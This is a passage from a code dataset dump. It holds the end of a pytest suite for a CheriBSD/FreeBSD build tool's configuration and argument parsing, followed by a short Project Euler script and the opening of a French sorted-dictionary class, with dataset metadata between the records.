_parse_config_file_and_args(b'{\"cheribsd-mips-hybrid/build-directory\": \"/foo/bar\"}')\n assert cheribsd_mips_hybrid.build_dir == Path(\"/foo/bar\")\n assert cheribsd_mips_purecap.build_dir != Path(\"/foo/bar\")\n assert_build_dirs_different()\n\n # cheribsd-mips64-hybrid/builddir should have higher prirority:\n _parse_arguments([\"--cheribsd/build-directory=/foo/bar\", \"--cheribsd-mips64-hybrid/build-directory=/bar/foo\"])\n assert cheribsd_mips_hybrid.build_dir == Path(\"/bar/foo\")\n assert_build_dirs_different()\n _parse_config_file_and_args(b'{\"cheribsd/build-directory\": \"/foo/bar\",'\n b' \"cheribsd-mips64-hybrid/build-directory\": \"/bar/foo\"}')\n assert cheribsd_mips_hybrid.build_dir == Path(\"/bar/foo\")\n assert_build_dirs_different()\n\n\ndef test_legacy_cheri_suffix_target_alias():\n config = _parse_config_file_and_args(b'{\"cheribsd-cheri/mfs-root-image\": \"/some/image\"}')\n # Check that cheribsd-cheri is a (deprecated) target alias for cheribsd-mips-cheri\n # We should load config options for that target from\n cheribsd_cheri = _get_cheribsd_instance(\"cheribsd-cheri\", config)\n assert str(cheribsd_cheri.mfs_root_image) == \"/some/image\"\n cheribsd_mips_hybrid = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n assert str(cheribsd_mips_hybrid.mfs_root_image) == \"/some/image\"\n # Try again with the other key:\n config = _parse_config_file_and_args(b'{\"cheribsd-mips-hybrid/mfs-root-image\": \"/some/image\"}')\n # Check that cheribsd-cheri is a (deprecated) target alias for cheribsd-mips64-hybrid\n # We should load config options for that target from\n cheribsd_cheri = _get_cheribsd_instance(\"cheribsd-cheri\", config)\n assert str(cheribsd_cheri.mfs_root_image) == \"/some/image\"\n cheribsd_mips_hybrid = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n assert str(cheribsd_mips_hybrid.mfs_root_image) == \"/some/image\"\n\n # Check command line aliases:\n config = _parse_config_file_and_args(b'{\"cheribsd-cheri/mfs-root-image\": \"/json/value\"}',\n \"--cheribsd-mips64-hybrid/mfs-root-image=/command/line/value\")\n # Check that cheribsd-cheri is a (deprecated) target alias for cheribsd-mips-cheri\n # We should load config options for that target from\n cheribsd_cheri = _get_cheribsd_instance(\"cheribsd-cheri\", config)\n assert str(cheribsd_cheri.mfs_root_image) == \"/command/line/value\"\n cheribsd_mips_hybrid = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n assert str(cheribsd_mips_hybrid.mfs_root_image) == \"/command/line/value\"\n\n config = _parse_config_file_and_args(b'{\"cheribsd-cheri/mfs-root-image\": \"/json/value\"}',\n \"--cheribsd-mips64-hybrid/mfs-root-image=/command/line/value\")\n # Check that cheribsd-cheri is a (deprecated) target alias for cheribsd-mips-cheri\n # We should load config options for that target from\n cheribsd_cheri = _get_cheribsd_instance(\"cheribsd-cheri\", config)\n assert str(cheribsd_cheri.mfs_root_image) == \"/command/line/value\"\n cheribsd_mips_hybrid = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n assert str(cheribsd_mips_hybrid.mfs_root_image) == \"/command/line/value\"\n\n\ndef test_kernconf():\n # Parse args once to ensure target_manager is initialized\n # check default values\n config = _parse_arguments([])\n cheribsd_cheri = _get_cheribsd_instance(\"cheribsd-mips64-hybrid\", config)\n cheribsd_mips = _get_cheribsd_instance(\"cheribsd-mips64\", config)\n freebsd_mips = _get_target_instance(\"freebsd-mips64\", config, BuildFreeBSD)\n freebsd_native = _get_target_instance(\"freebsd-amd64\", config, BuildFreeBSD)\n assert config.freebsd_kernconf is None\n assert freebsd_mips.kernel_config == \"MALTA64\"\n assert cheribsd_cheri.kernel_config == \"CHERI_MALTA64\"\n assert freebsd_native.kernel_config == \"GENERIC\"\n\n # Check that --kernconf is used as the fallback\n config = _parse_arguments([\"--kernconf=LINT\", \"--freebsd-mips64/kernel-config=NOTMALTA64\"])\n assert config.freebsd_kernconf == \"LINT\"\n attr = inspect.getattr_static(freebsd_mips, \"kernel_config\")\n # previously we would replace the command line attribute with a string -> check this is no longer true\n assert isinstance(attr, JsonAndCommandLineConfigOption)\n assert freebsd_mips.kernel_config == \"NOTMALTA64\"\n assert cheribsd_cheri.kernel_config == \"LINT\"\n assert freebsd_native.kernel_config == \"LINT\"\n\n config = _parse_arguments([\"--kernconf=LINT\", \"--cheribsd-mips64-hybrid/kernel-config=SOMETHING\"])\n assert config.freebsd_kernconf == \"LINT\"\n assert freebsd_mips.kernel_config == \"LINT\"\n assert cheribsd_cheri.kernel_config == \"SOMETHING\"\n assert freebsd_native.kernel_config == \"LINT\"\n\n config = _parse_arguments([\"--kernconf=GENERIC\", \"--cheribsd/kernel-config=SOMETHING_ELSE\"])\n assert config.freebsd_kernconf == \"GENERIC\"\n assert cheribsd_cheri.kernel_config == \"SOMETHING_ELSE\"\n assert cheribsd_mips.kernel_config == \"SOMETHING_ELSE\"\n assert freebsd_mips.kernel_config == \"GENERIC\"\n assert freebsd_native.kernel_config == \"GENERIC\"\n\n\ndef test_duplicate_key():\n with pytest.raises(SyntaxError, match=\"duplicate key: 'output-root'\"):\n _parse_config_file_and_args(b'{ \"output-root\": \"/foo\", \"some-other-key\": \"abc\", \"output-root\": \"/bar\" }')\n\n\ndef _get_config_with_include(tmpdir: Path, config_json: bytes, workdir: Path = None):\n if not workdir:\n workdir = tmpdir\n config = workdir / \"config.json\"\n config.write_bytes(config_json)\n return _parse_arguments([], config_file=config)\n\n\ndef test_config_file_include():\n with tempfile.TemporaryDirectory() as d:\n config_dir = Path(d)\n (config_dir / \"128-common.json\").write_bytes(b'{ \"output-root\": \"/output128\" }')\n (config_dir / \"256-common.json\").write_bytes(b'{ \"output-root\": \"/output256\" }')\n (config_dir / \"common.json\").write_bytes(b'{ \"source-root\": \"/this/is/a/unit/test\" }')\n\n # Check that the config file is parsed:\n result = _get_config_with_include(config_dir, b'{ \"#include\": \"common.json\"}')\n assert \"/this/is/a/unit/test\" == str(result.source_root)\n\n # Check that the current file always has precendence\n result = _get_config_with_include(config_dir, b'{ \"#include\": \"256-common.json\", \"output-root\": \"/output128\"}')\n assert \"/output128\" == str(result.output_root)\n result = _get_config_with_include(config_dir, b'{ \"#include\": \"128-common.json\", \"output-root\": \"/output256\"}')\n assert \"/output256\" == str(result.output_root)\n # order doesn't matter since the #include is only evaluated after the whole file has been parsed:\n result = _get_config_with_include(config_dir, b'{ \"output-root\": \"/output128\", \"#include\": \"256-common.json\"}')\n assert \"/output128\" == str(result.output_root)\n result = _get_config_with_include(config_dir, b'{ \"output-root\": \"/output256\", \"#include\": \"128-common.json\"}')\n assert \"/output256\" == str(result.output_root)\n\n # TODO: handled nested cases: the level closest to the initial file wins\n (config_dir / \"change-source-root.json\").write_bytes(\n b'{ \"source-root\": \"/source/root/override\", \"#include\": \"common.json\" }')\n result = _get_config_with_include(config_dir, b'{ \"#include\": \"change-source-root.json\"}')\n assert \"/source/root/override\" == str(result.source_root)\n # And again the root file wins:\n result = _get_config_with_include(config_dir,\n b'{ \"source-root\": \"/override/twice\", \"#include\": \"change-source-root.json\"}')\n assert \"/override/twice\" == str(result.source_root)\n # no matter in which order it is written:\n result = _get_config_with_include(config_dir,\n b'{ \"#include\": \"change-source-root.json\", \"source-root\": \"/override/again\"}')\n assert \"/override/again\" == str(result.source_root)\n\n # Test merging of objects:\n (config_dir / \"change-smb-dir.json\").write_bytes(\n b'{ \"run\": { \"smb-host-directory\": \"/some/path\" }, \"#include\": \"common.json\" }')\n result = _get_config_with_include(config_dir,\n b'{'\n b' \"run\": { \"ssh-forwarding-port\": 12345 },'\n b' \"#include\": \"change-smb-dir.json\"'\n b'}')\n run_project = _get_target_instance(\"run-riscv64-purecap\", result, LaunchCheriBSD)\n assert run_project.custom_qemu_smb_mount == Path(\"/some/path\")\n assert run_project.ssh_forwarding_port == 12345\n\n with tempfile.TemporaryDirectory() as d2:\n # Check that relative paths work\n relpath = b\"../\" + str(Path(d).relative_to(Path(d2).parent)).encode(\"utf-8\")\n result = _get_config_with_include(config_dir,\n b'{ \"#include\": \"' + relpath + b'/common.json\" }', workdir=Path(d2))\n assert \"/this/is/a/unit/test\" == str(result.source_root)\n\n # Check that absolute paths work as expected:\n abspath = b\"\" + str(Path(d)).encode(\"utf-8\")\n result = _get_config_with_include(config_dir,\n b'{ \"#include\": \"' + abspath + b'/common.json\" }', workdir=Path(d2))\n assert \"/this/is/a/unit/test\" == str(result.source_root)\n\n # Nonexistant paths should raise an error\n with pytest.raises(FileNotFoundError, match=\"No such file or directory\"):\n _get_config_with_include(config_dir, b'{ \"#include\": \"bad-path.json\"}')\n\n # Currently only one #include per config file is allowed\n # TODO: this could be supported but it might be better to accept a list instead?\n with pytest.raises(SyntaxError, match=\"duplicate key: '#include'\"):\n _get_config_with_include(config_dir,\n b'{ \"#include\": \"128-common.json\", \"foo\": \"bar\", \"#include\": \"256-common.json\"}')\n\n\ndef test_libcxxrt_dependency_path():\n # Test that we pick the correct libunwind path when building libcxxrt\n def check_libunwind_path(path, target_name):\n tgt = _get_target_instance(target_name, config)\n for i in tgt.configure_args:\n if i.startswith(\"-DLIBUNWIND_PATH=\"):\n assert i == (\"-DLIBUNWIND_PATH=\" + str(path)), tgt.configure_args\n return\n assert False, \"Should have found -DLIBUNWIND_PATH= in \" + str(tgt.configure_args)\n\n config = _parse_arguments([\"--skip-configure\"])\n check_libunwind_path(config.build_root / \"libunwind-native-build/test-install-prefix/lib\", \"libcxxrt-native\")\n check_libunwind_path(config.output_root / \"rootfs-mips64-purecap/opt/mips64-purecap/c++/lib\",\n \"libcxxrt-mips64-purecap\")\n check_libunwind_path(config.output_root / \"rootfs-mips64-hybrid/opt/mips64-hybrid/c++/lib\",\n \"libcxxrt-mips64-hybrid\")\n # Check the defaults:\n config = _parse_arguments([\"--skip-configure\"])\n check_libunwind_path(config.build_root / \"libunwind-native-build/test-install-prefix/lib\", \"libcxxrt-native\")\n config = _parse_arguments([\"--skip-configure\"])\n check_libunwind_path(config.output_root / \"rootfs-mips64-hybrid/opt/mips64-hybrid/c++/lib\",\n \"libcxxrt-mips64-hybrid\")\n check_libunwind_path(config.output_root / \"rootfs-mips64/opt/mips64/c++/lib\", \"libcxxrt-mips64\")\n\n\nclass SystemClangIfExistsElse:\n def __init__(self, fallback: str):\n self.fallback = fallback\n\n\n@pytest.mark.parametrize(\"target,expected_path,kind,extra_args\", [\n # FreeBSD targets default to system clang if it exists, otherwise LLVM:\n pytest.param(\"freebsd-mips64\", SystemClangIfExistsElse(\"$OUTPUT$/upstream-llvm/bin/clang\"),\n FreeBSDToolchainKind.DEFAULT_COMPILER, []),\n pytest.param(\"freebsd-mips64\", \"$OUTPUT$/upstream-llvm/bin/clang\", FreeBSDToolchainKind.UPSTREAM_LLVM, []),\n pytest.param(\"freebsd-mips64\", \"$OUTPUT$/sdk/bin/clang\", FreeBSDToolchainKind.CHERI_LLVM, []),\n pytest.param(\"freebsd-mips64\", \"$BUILD$/freebsd-mips64-build/tmp/usr/bin/clang\",\n FreeBSDToolchainKind.BOOTSTRAPPED, []),\n pytest.param(\"freebsd-mips64\", \"/path/to/custom/toolchain/bin/clang\", FreeBSDToolchainKind.CUSTOM,\n [\"--freebsd-mips64/toolchain-path\", \"/path/to/custom/toolchain\"]),\n\n # CheriBSD-mips can be built with all these toolchains (but defaults to CHERI LLVM):\n pytest.param(\"cheribsd-mips64\", \"$OUTPUT$/sdk/bin/clang\", FreeBSDToolchainKind.DEFAULT_COMPILER, []),\n pytest.param(\"cheribsd-mips64\", \"$OUTPUT$/upstream-llvm/bin/clang\", FreeBSDToolchainKind.UPSTREAM_LLVM, []),\n pytest.param(\"cheribsd-mips64\", \"$OUTPUT$/sdk/bin/clang\", FreeBSDToolchainKind.CHERI_LLVM, []),\n pytest.param(\"cheribsd-mips64\", \"$BUILD$/cheribsd-mips64-build/tmp/usr/bin/clang\",\n FreeBSDToolchainKind.BOOTSTRAPPED, []),\n pytest.param(\"cheribsd-mips64\", \"/path/to/custom/toolchain/bin/clang\", FreeBSDToolchainKind.CUSTOM,\n [\"--cheribsd-mips64/toolchain-path\", \"/path/to/custom/toolchain\"]),\n ])\ndef test_freebsd_toolchains(target, expected_path, kind: FreeBSDToolchainKind, extra_args):\n # Avoid querying bmake for the objdir\n args = [\"--\" + target + \"/toolchain\", kind.value, \"--build-root=/some/path/that/does/not/exist\", \"--pretend\"]\n args.extend(extra_args)\n config = _parse_arguments(args)\n project = _get_target_instance(target, config, BuildFreeBSD)\n if isinstance(expected_path, SystemClangIfExistsElse):\n clang_root, _, _ = project._try_find_compatible_system_clang()\n expected_path = str(clang_root / \"bin/clang\") if clang_root is not None else expected_path.fallback\n expected_path = expected_path.replace(\"$OUTPUT$\", str(config.output_root))\n expected_path = expected_path.replace(\"$BUILD$\", str(config.build_root))\n assert str(project.CC) == str(expected_path)\n if kind == FreeBSDToolchainKind.BOOTSTRAPPED:\n assert \"XCC\" not in project.buildworld_args.env_vars\n assert \"XCC=\" not in project.kernel_make_args_for_config(\"GENERIC\", None).env_vars\n else:\n assert project.buildworld_args.env_vars.get(\"XCC\", None) == expected_path\n assert project.kernel_make_args_for_config(\"GENERIC\", None).env_vars.get(\"XCC\", None) == expected_path\n\n\n@pytest.mark.parametrize(\"target,expected_name\", [\n # CheriBSD\n pytest.param(\"disk-image-mips64\", \"cheribsd-mips64.img\"),\n pytest.param(\"disk-image-mips64-hybrid\", \"cheribsd-mips64-hybrid.img\"),\n pytest.param(\"disk-image-purecap\", \"cheribsd-mips64-purecap.img\"),\n pytest.param(\"disk-image-riscv64\", \"cheribsd-riscv64.img\"),\n pytest.param(\"disk-image-riscv64-hybrid\", \"cheribsd-riscv64-hybrid.img\"),\n pytest.param(\"disk-image-riscv64-purecap\", \"cheribsd-riscv64-purecap.img\"),\n pytest.param(\"disk-image-amd64\", \"cheribsd-amd64.img\"),\n pytest.param(\"disk-image-morello-hybrid\", \"cheribsd-morello-hybrid.img\"),\n pytest.param(\"disk-image-morello-purecap\", \"cheribsd-morello-purecap.img\"),\n # Minimal image\n pytest.param(\"disk-image-minimal-mips64\", \"cheribsd-minimal-mips64.img\"),\n pytest.param(\"disk-image-minimal-mips64-hybrid\", \"cheribsd-minimal-mips64-hybrid.img\"),\n pytest.param(\"disk-image-minimal-purecap\", \"cheribsd-minimal-mips64-purecap.img\"),\n pytest.param(\"disk-image-minimal-riscv64\", \"cheribsd-minimal-riscv64.img\"),\n pytest.param(\"disk-image-minimal-riscv64-hybrid\", \"cheribsd-minimal-riscv64-hybrid.img\"),\n pytest.param(\"disk-image-minimal-riscv64-purecap\", \"cheribsd-minimal-riscv64-purecap.img\"),\n # FreeBSD\n pytest.param(\"disk-image-freebsd-mips64\", \"freebsd-mips64.img\"),\n pytest.param(\"disk-image-freebsd-riscv64\", \"freebsd-riscv64.img\"),\n # pytest.param(\"disk-image-freebsd-aarch64\", \"freebsd-aarch64.img\"),\n # pytest.param(\"disk-image-freebsd-i386\", \"freebsd-i386.img\"),\n pytest.param(\"disk-image-freebsd-amd64\", \"freebsd-amd64.img\"),\n # FreeBSD with default options\n pytest.param(\"disk-image-freebsd-with-default-options-mips64\", \"freebsd-mips64.img\"),\n pytest.param(\"disk-image-freebsd-with-default-options-riscv64\", \"freebsd-riscv64.img\"),\n # pytest.param(\"disk-image-freebsd-with-default-options-aarch64\", \"freebsd-aarch64.img\"),\n pytest.param(\"disk-image-freebsd-with-default-options-i386\", \"freebsd-i386.img\"),\n pytest.param(\"disk-image-freebsd-with-default-options-amd64\", \"freebsd-amd64.img\"),\n ])\ndef test_disk_image_path(target, expected_name):\n config = _parse_arguments([])\n project = _get_target_instance(target, config, BuildDiskImageBase)\n assert str(project.disk_image_path) == str(config.output_root / expected_name)\n\n\n# noinspection PyTypeChecker\ndef test_freebsd_toolchains_cheribsd_purecap():\n # Targets that need CHERI don't have the --toolchain option:\n # Argparse should exit with exit code 2\n with pytest.raises(SystemExit, match=r'^2$'):\n for i in FreeBSDToolchainKind:\n test_freebsd_toolchains(\"cheribsd-purecap\", \"/wrong/path\", i, [])\n test_freebsd_toolchains(\"cheribsd-mips64-hybrid\", \"/wrong/path\", i, [])\n test_freebsd_toolchains(\"cheribsd-riscv64-hybrid\", \"/wrong/path\", i, [])\n test_freebsd_toolchains(\"cheribsd-riscv64-purecap\", \"/wrong/path\", i, [])\n\n\n@pytest.mark.parametrize(\"target,args,expected\", [\n pytest.param(\"cheribsd-mips64-hybrid\", [], \"cheribsd-mips64-hybrid-build\"),\n pytest.param(\"llvm\", [], \"llvm-project-build\"),\n pytest.param(\"cheribsd-purecap\", [], \"cheribsd-mips64-purecap-build\"),\n # --subobject debug should not have any effect if subobject bounds is disabled\n pytest.param(\"cheribsd-purecap\", [\"--subobject-bounds=conservative\", \"--subobject-debug\"],\n \"cheribsd-mips64-purecap-build\"),\n pytest.param(\"cheribsd-purecap\", [\"--subobject-bounds=subobject-safe\", \"--subobject-debug\"],\n \"cheribsd-mips64-purecap-subobject-safe-build\"),\n pytest.param(\"cheribsd-purecap\", [\"--subobject-bounds=subobject-safe\", \"--no-subobject-debug\"],\n \"cheribsd-mips64-purecap-subobject-safe-subobject-nodebug-build\"),\n # Passing \"--cap-table-abi=pcrel\" also changes the build dir even though it's (currently) the default for all\n # architectures.\n pytest.param(\"cheribsd-mips64-hybrid\", [\"--cap-table-abi=pcrel\", \"--subobject-bounds=conservative\"],\n \"cheribsd-mips64-hybrid-pcrel-build\"),\n # plt should be encoded\n pytest.param(\"cheribsd-mips64-hybrid\", [\"--cap-table-abi=plt\", \"--subobject-bounds=conservative\"],\n \"cheribsd-mips64-hybrid-plt-build\"),\n # everything\n pytest.param(\"cheribsd-mips64-purecap\",\n [\"--cap-table-abi=plt\", \"--subobject-bounds=aggressive\", \"--mips-float-abi=hard\"],\n \"cheribsd-mips64-purecap-plt-aggressive-hardfloat-build\"),\n # plt should be encoded\n pytest.param(\"sqlite-mips64-hybrid\", [], \"sqlite-mips64-hybrid-build\"),\n pytest.param(\"sqlite-native\", [], \"sqlite-native-build\"),\n ])\ndef test_default_build_dir(target: str, args: list, expected: str):\n # Check that the cheribsd build dir is correct\n config = _parse_arguments(args)\n target = target_manager.get_target(target, None, config, caller=\"test_default_arch\")\n builddir = target.get_or_create_project(None, config).build_dir\n assert isinstance(builddir, Path)\n assert builddir.name == expected\n\n\n@pytest.mark.parametrize(\"target,args,expected_sysroot,expected_rootfs\", [\n pytest.param(\"cheribsd-mips64\", [],\n \"sdk/sysroot-mips64\", \"rootfs-mips64\"),\n pytest.param(\"cheribsd-mips64-hybrid\", [],\n \"sdk/sysroot-mips64-hybrid\", \"rootfs-mips64-hybrid\"),\n pytest.param(\"cheribsd-mips64-purecap\", [],\n \"sdk/sysroot-mips64-purecap\", \"rootfs-mips64-purecap\"),\n pytest.param(\"cheribsd-riscv64\", [],\n \"sdk/sysroot-riscv64\", \"rootfs-riscv64\"),\n pytest.param(\"cheribsd-riscv64-hybrid\", [],\n \"sdk/sysroot-riscv64-hybrid\", \"rootfs-riscv64-hybrid\"),\n pytest.param(\"cheribsd-riscv64-purecap\", [],\n \"sdk/sysroot-riscv64-purecap\", \"rootfs-riscv64-purecap\"),\n pytest.param(\"cheribsd-aarch64\", [],\n \"sdk/sysroot-aarch64\", \"rootfs-aarch64\"),\n pytest.param(\"cheribsd-amd64\", [],\n \"sdk/sysroot-amd64\", \"rootfs-amd64\"),\n # Morello uses a different SDK dir\n # TODO: pytest.param(\"cheribsd-morello\"/\"cheribsd-morello-nocheri\"\n pytest.param(\"cheribsd-morello-hybrid\", [],\n \"morello-sdk/sysroot-morello-hybrid\", \"rootfs-morello-hybrid\"),\n pytest.param(\"cheribsd-morello-purecap\", [],\n \"morello-sdk/sysroot-morello-purecap\", \"rootfs-morello-purecap\"),\n\n # Check that various global flags are encoded\n # --subobject debug should not have any effect if subobject bounds is disabled\n pytest.param(\"cheribsd-riscv64-purecap\", [\"--subobject-bounds=conservative\", \"--subobject-debug\"],\n \"sdk/sysroot-riscv64-purecap\", \"rootfs-riscv64-purecap\"),\n pytest.param(\"cheribsd-riscv64-purecap\", [\"--subobject-bounds=subobject-safe\", \"--subobject-debug\"],\n \"sdk/sysroot-riscv64-purecap-subobject-safe\", \"rootfs-riscv64-purecap-subobject-safe\"),\n pytest.param(\"cheribsd-riscv64-purecap\", [\"--subobject-bounds=subobject-safe\", \"--no-subobject-debug\"],\n \"sdk/sysroot-riscv64-purecap-subobject-safe-subobject-nodebug\",\n \"rootfs-riscv64-purecap-subobject-safe-subobject-nodebug\"),\n\n # Passing \"--cap-table-abi=pcrel\" also changes the dir even though it's the default for all architectures.\n pytest.param(\"cheribsd-mips64-purecap\", [\"--cap-table-abi=pcrel\", \"--subobject-bounds=conservative\"],\n \"sdk/sysroot-mips64-purecap-pcrel\", \"rootfs-mips64-purecap-pcrel\"),\n pytest.param(\"cheribsd-mips64-purecap\", [\"--cap-table-abi=plt\", \"--subobject-bounds=conservative\"],\n \"sdk/sysroot-mips64-purecap-plt\", \"rootfs-mips64-purecap-plt\"),\n pytest.param(\"cheribsd-mips64-purecap\",\n [\"--cap-table-abi=plt\", \"--subobject-bounds=aggressive\", \"--mips-float-abi=hard\"],\n \"sdk/sysroot-mips64-purecap-plt-aggressive-hardfloat\",\n \"rootfs-mips64-purecap-plt-aggressive-hardfloat\"),\n\n # FreeBSD\n pytest.param(\"freebsd-aarch64\", [],\n \"sdk/sysroot-freebsd-aarch64\", \"freebsd-aarch64\"),\n pytest.param(\"freebsd-amd64\", [],\n \"sdk/sysroot-freebsd-amd64\", \"freebsd-amd64\"),\n pytest.param(\"freebsd-i386\", [],\n \"sdk/sysroot-freebsd-i386\", \"freebsd-i386\"),\n pytest.param(\"freebsd-mips64\", [],\n \"sdk/sysroot-freebsd-mips64\", \"freebsd-mips64\"),\n pytest.param(\"freebsd-riscv64\", [],\n \"sdk/sysroot-freebsd-riscv64\", \"freebsd-riscv64\"),\n ])\ndef test_default_rootfs_and_sysroot_dir(target: str, args: list, expected_sysroot: str, expected_rootfs: str):\n # Check that the cheribsd build dir is correct\n config = _parse_arguments(args)\n project = _get_target_instance(target, config, BuildFreeBSD)\n assert project.cross_sysroot_path == project.target_info.sysroot_dir\n assert isinstance(project.target_info, FreeBSDTargetInfo)\n sysroot_dir = project.target_info.get_non_rootfs_sysroot_dir()\n assert str(sysroot_dir.relative_to(config.output_root)) == expected_sysroot\n rootfs_dir = project.install_dir\n assert str(rootfs_dir.relative_to(config.output_root)) == expected_rootfs\n\n\ndef test_backwards_compat_old_suffixes():\n config = _parse_config_file_and_args(b'{\"qtbase-mips-purecap/build-directory\": \"/some/build/dir\"}')\n # Check that qtbase-mips-purecap is a (deprecated) config file alias for qtbase-mips64-purecap\n qtbase_mips_purecap = _get_target_instance(\"qtbase-mips64-purecap\", config, BuildQtBase)\n assert str(qtbase_mips_purecap.build_dir) == \"/some/build/dir\"\n\n\ndef _check_build_dir(target: str, expected: str, config_file: bytes, cmdline: typing.List[str]):\n config = _parse_config_file_and_args(config_file, *cmdline)\n project = _get_target_instance(target, config)\n assert str(project.build_dir) == expected\n\n\ndef test_backwards_compat_old_suffixes_freebsd_mips():\n # Check that we still load the value from the deprecated key name from the JSON config file\n _check_build_dir(\"freebsd-mips64\", \"/from/json\",\n b'{\"freebsd-mips/build-directory\": \"/from/json\"}', [])\n\n # It should also override a command line value for the un-suffixed target\n _check_build_dir(\"freebsd-mips64\", \"/from/json\",\n b'{\"freebsd-mips/build-directory\": \"/from/json\"}',\n [\"--freebsd/build-directory=/fallback/from/cmdline/\"])\n\n # The new key name should have priority:\n _check_build_dir(\"freebsd-mips64\", \"/new/dir\",\n b'{\"freebsd-mips/build-directory\": \"/old/dir\",'\n b' \"freebsd-mips64/build-directory\": \"/new/dir\" }', [])\n\n # Also check the CheriBSD names:\n _check_build_dir(\"cheribsd-mips64\", \"/from/json\",\n b'{\"cheribsd-mips-nocheri/build-directory\": \"/from/json\"}', [])\n _check_build_dir(\"cheribsd-mips64-hybrid\", \"/from/json\",\n b'{\"cheribsd-mips-hybrid/build-directory\": \"/from/json\"}', [])\n _check_build_dir(\"cheribsd-mips64-purecap\", \"/from/json\",\n b'{\"cheribsd-mips-purecap/build-directory\": \"/from/json\"}', [])\n\n # Finally, using the old name on the command line should be an error:\n with pytest.raises(SystemExit, match=\"^2$\"):\n _ = _parse_config_file_and_args(b'{}', \"--freebsd-mips/build-directory=/cmdline\")\n\n\ndef test_expand_tilde_and_env_vars(monkeypatch):\n monkeypatch.setenv(\"HOME\", \"/home/foo\")\n monkeypatch.setenv(\"MYHOME\", \"/home/foo\")\n # Check that relative paths in config files resolve relative to the file that it's being loaded from\n assert _parse_config_file_and_args(b'{ \"build-root\": \"~/build\" }').build_root == Path(\"/home/foo/build\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"$MYHOME/build\" }').build_root == Path(\"/home/foo/build\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"${MYHOME}/build\" }').build_root == Path(\"/home/foo/build\")\n # Having HOME==/ broke jenkins, test this here:\n monkeypatch.setenv(\"HOME\", \"/\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"~/build\" }').build_root == Path(\"/build\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"$HOME/build\" }').build_root == Path(\"/build\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"${HOME}/build\" }').build_root == Path(\"/build\")\n # Multiple slashes should be removed:\n assert _parse_config_file_and_args(b'{ \"build-root\": \"~//build//dir\" }').build_root == Path(\"/build/dir\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"$HOME/build//dir\" }').build_root == Path(\"/build/dir\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"$HOME//build//dir\" }').build_root == Path(\"/build/dir\")\n assert _parse_config_file_and_args(b'{ \"build-root\": \"${HOME}//build//dir\" }').build_root == Path(\"/build/dir\")\n\n\ndef test_source_dir_option_when_reusing_git_repo(monkeypatch):\n \"\"\"Passing the --foo/source-dir=/some/path should also work if the target reuses another target's source dir\"\"\"\n # By default compiler-rt-native should reuse the LLVM source dir\n config = _parse_config_file_and_args(b'{ \"llvm/source-directory\": \"/custom/llvm/dir\" }', )\n assert str(_get_target_instance(\"llvm-native\", config).source_dir) == \"/custom/llvm/dir\"\n assert str(_get_target_instance(\"compiler-rt-native\", config).source_dir) == \"/custom/llvm/dir/compiler-rt\"\n assert str(_get_target_instance(\"compiler-rt-riscv64\", config).source_dir) == \"/custom/llvm/dir/compiler-rt\"\n\n # An explicit override should have priority:\n config = _parse_config_file_and_args(b'{ \"llvm/source-directory\": \"/custom/llvm/dir2\"}',\n \"--compiler-rt/source-directory=/custom/compiler-rt/dir2\")\n assert str(_get_target_instance(\"llvm-native\", config).source_dir) == \"/custom/llvm/dir2\"\n assert str(_get_target_instance(\"compiler-rt-native\", config).source_dir) == \"/custom/compiler-rt/dir2\"\n assert str(_get_target_instance(\"compiler-rt-riscv64\", config).source_dir) == \"/custom/compiler-rt/dir2\"\n\n # Same again just with the -native suffix:\n config = _parse_config_file_and_args(b'{ \"llvm-native/source-directory\": \"/custom/llvm/dir3\",'\n b' \"source-root\": \"/foo\" }',\n \"--compiler-rt-native/source-directory=/custom/compiler-rt/dir3\")\n assert str(_get_target_instance(\"llvm-native\", config).source_dir) == \"/custom/llvm/dir3\"\n assert str(_get_target_instance(\"compiler-rt-native\", config).source_dir) == \"/custom/compiler-rt/dir3\"\n # compiler-rt-riscv64 uses the default path, since we only changed llvm-native and compiler-rt-native:\n assert str(_get_target_instance(\"compiler-rt-riscv64\", config).source_dir) == \"/foo/llvm-project/compiler-rt\"\n\n\ndef test_relative_paths_in_config():\n # Check that relative paths in config files resolve relative to the file that it's being loaded from\n with tempfile.TemporaryDirectory() as td:\n configfile = Path(td, \"config.json\")\n subdir = Path(td, \"subdir\")\n subdir.mkdir()\n sub_configfile = subdir / \"sub-config.json\"\n sub_configfile.write_bytes(b'{ \"build-root\": \"./build\", \"source-root\": \"../some-other-dir\" }')\n configfile.write_bytes(b'{ \"output-root\": \"./output\", \"#include\": \"./subdir/sub-config.json\" }')\n config = _parse_arguments([], config_file=configfile)\n assert config.build_root == Path(td, \"subdir/build\")\n assert config.source_root == Path(td, \"some-other-dir\")\n assert config.output_root == Path(td, \"output\")\n","sub_path":"tests/test_argument_parsing.py","file_name":"test_argument_parsing.py","file_ext":"py","file_size_in_byte":49340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"413755468","text":"\"\"\"\nSum square difference\n\nInfo on the website\n\"\"\"\n\n\ndef main():\n bound = 101\n squares = [i ** 2 for i in range(1, bound)]\n numbers = [i for i in range(1, bound)]\n answer = sum(numbers) ** 2 - sum(squares)\n print(answer)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"problems_01_25/problem_6.py","file_name":"problem_6.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"211265435","text":"class SortedDico(dict):\r\n\t\"\"\"Classe permettant de créer un dictionnaire que l'on peut trier\"\"\"\r\n\r\n\tdef __init__(self, **couple):\r\n\t\t\"\"\"Constructeur qui créer une liste contenant les clés et une autres\r\n\t\tcontenant les valeurs. Si rien n'est passé en paramètre, on créer un\r\n\t\tdictionnaire vide.\"\"\"\r\n\r\n\t\tself._cle_dico = []\t\t\t#Liste contenant les clés du dictionnaire\r\n\t\tself._valeur_dico = []\t\t#Liste contenant les valeurs du dictionnaire\r\n\r\n\t\t# Si au moins une clé avec sa valeur respective sont données, on les ajoutes dans les 